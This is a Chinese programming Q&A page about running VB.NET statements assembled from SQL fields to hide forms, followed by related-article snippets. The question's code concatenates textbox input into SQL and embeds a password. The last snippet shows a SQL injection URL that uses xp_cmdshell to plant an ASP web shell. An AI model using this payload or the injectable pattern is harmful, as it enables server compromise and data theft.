编程-调用SQL部分字段组成命令并执行,求方法,求思路

问题描述

调用SQL部分字段组成命令并执行,求方法,求思路

目标是想在窗口登录的时候,调用数据库中的表,实现某些窗体不可见。
请看数据库表和语句,求大神指出我错误的地方和正确思路,谢谢。
mycn.ConnectionString = "Data Source=192.168.0.175;Initial Catalog=blle;uid=wks;pwd=123"
mycomm.CommandText = "select puRID,puPriNM + '.visible',puTF,'False' from PrivilegeUser where puRID ='" & TextBox1.Text & "' and puTF='0'"
mycomm.Connection = mycn
Try
mycn.Open()
Dim mysqlreader As Data.SqlClient.SqlDataReader = mycomm.ExecuteReader
While mysqlreader.Read()
Dim a As String = mysqlreader.GetString(1)
Dim b As String = mysqlreader.GetString(3)
a = b '这里肯定是错的,但是不知道怎么表达,求救大神
End While
Catch ex As Exception
Finally
mycn.Close()
End Try
'目标实现效果是程序执行如下语句:
'Privilege.visible = False
'ControlC.ProductToolStripMenuItem.visible = False
'ControlC.ColorToolStripMenuItem.Visible = False
'ControlC.SizeToolStripMenuItem.visible=False

解决方案

参考c#编译C#语句-把c#看作动态脚本
把你拼出来的动态语句放在函数中;
把里面要用到的 Privilege、ControlC 都通过函数参数传进去。

时间: 2024-09-17 04:55:18

编程-调用SQL部分字段组成命令并执行,求方法,求思路的相关文章

python文件读写操作与linux shell变量命令交互执行的方法_python

本文实例讲述了python文件读写操作与linux shell变量命令交互执行的方法.分享给大家供大家参考.具体如下: python对文件的读写还是挺方便的,与linux shell的交互变量需要转换一下才能用,这比较头疼. 代码如下: 复制代码 代码如下: #coding=utf-8 #!/usr/bin/python import os import time #python执行linux命令 os.system(':>./aa.py') #人机交互输入 S = raw_input("

C#编程实现Excel文档中搜索文本内容的方法及思路

有了在Word文档中编程实现搜索文本的经验,在Excel中实现这个功能也并非难事.   打开Excel的VBA帮助,查看Excel的对象模型,很容易找到完成这个功能需要的几个集合和对象:Application.Workbooks. Workbook.Worksheets还有Worksheet和Range.Application创建Excel应用,Workbooks打开 Excel文档,Workbook获得Excel文档工作薄,Worksheets操作工作表集合,Worksheet获得单个工作表.

如何筛选SQL字符串字段中部分值

如果需要筛选SQL字符串字段中部分值,应该怎么做呢?下面就教您筛选SQL字符串字段中部分值的记录的方法,供您参考. 例如有一个KKBH(卡口编号)字段,这是一个字典字段(对应另一个实体表(卡口表)的编号字段).这个字段的值保存所属卡口值域{01,02,03} 本来想到的是通过or来实现,这样需要动态生成SQL语句. 后来想到一个办法用charindex搜索SQL字符串的办法.将所有的要查的卡口编号组成类似'01@02'这样待查字符串.sql查询时通过charindex筛选出在待查SQL字符串里有

在SQL Server中使用命令调用SSIS包

  在SQL Server中可以使用dtexec命令运行SSIS包(2005以上版本),当然也可以通过系统过程:xp_cmdshell调用dtexec运行SSIS包. 具体操作步骤如下: 1.首先,当然是要在Business Intelligence中设计好包,并调试通过. 2.然后,有两种方式可以在SQL Server中使用命令运行SSIS包 第一种是直接执行ssis包文件,命令如: exec xp_cmdshell 'dtexec /f "c:test.dtsx"' 第二种是将包文

在SQL Server中使用命令调用SSIS包的具体方法_MsSql

具体操作步骤如下: 1.首先,当然是要在Business Intelligence中设计好包,并调试通过. 2.然后,有两种方式可以在SQL Server中使用命令运行SSIS包 第一种是直接执行ssis包文件,命令如: exec xp_cmdshell 'dtexec /f "c:\test.dtsx"' 第二种是将包文件发布或者导入到Integration Services服务中,然后再执行. 发布包是在Business Intelligence中生成发布文件,并发布到Integr

在SQL Server中使用命令调用SSIS包的具体方法

具体操作步骤如下: 1.首先,当然是要在Business Intelligence中设计好包,并调试通过. 2.然后,有两种方式可以在SQL Server中使用命令运行SSIS包 第一种是直接执行ssis包文件,命令如: exec xp_cmdshell 'dtexec /f "c:\test.dtsx"' 第二种是将包文件发布或者导入到Integration Services服务中,然后再执行. 发布包是在Business Intelligence中生成发布文件,并发布到Integr

在SQL Server中使用CLR调用.NET方法实现思路_实用技巧

介绍 我们一起来做个示例,在.NET中新建一个类,并在这个类里新建一个方法,然后在SQL Server中调用这个方法.按照微软所述,通过宿主 Microsoft .NET Framework 2.0 公共语言运行库 (CLR),SQL Server 2005显著地增强了数据库编程模型. 这使得开发人员可以用任何CLR语言(如C#.VB.NET或C++等)来写存储过程.触发器和用户自定义函数. 我们如何实现这些功能呢? 为了使用CLR,我们需要做如下几步: 1.在.NET中新建一个类,并在这个类里

.NET编程和SQL Server ——Sql Server 与CLR集成 (学习笔记整理-1)

原文:.NET编程和SQL Server --Sql Server 与CLR集成 (学习笔记整理-1) 一.SQL Server 为什么要与CLR集成 1. SQL Server 提供的存储过程.函数等十分有限,经常需要外部的代码来执行一些繁重的移植: 2.与CLR集成可将原本需要独立的程序来实现的功能迁移到SQL Server 内部进行数据操作: 3.T-SQL数据查询语言在返回数据集方面很好,但是除此之外表现不佳.与CLR的集成可解决这一问题: 4..NET的操作代码和执行的速度比T-SQL

最详细的SQL注入相关的命令整理

sql 1.   用^转义字符来写ASP(一句话木马)文件的方法:   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--    echo ^<%execute^(req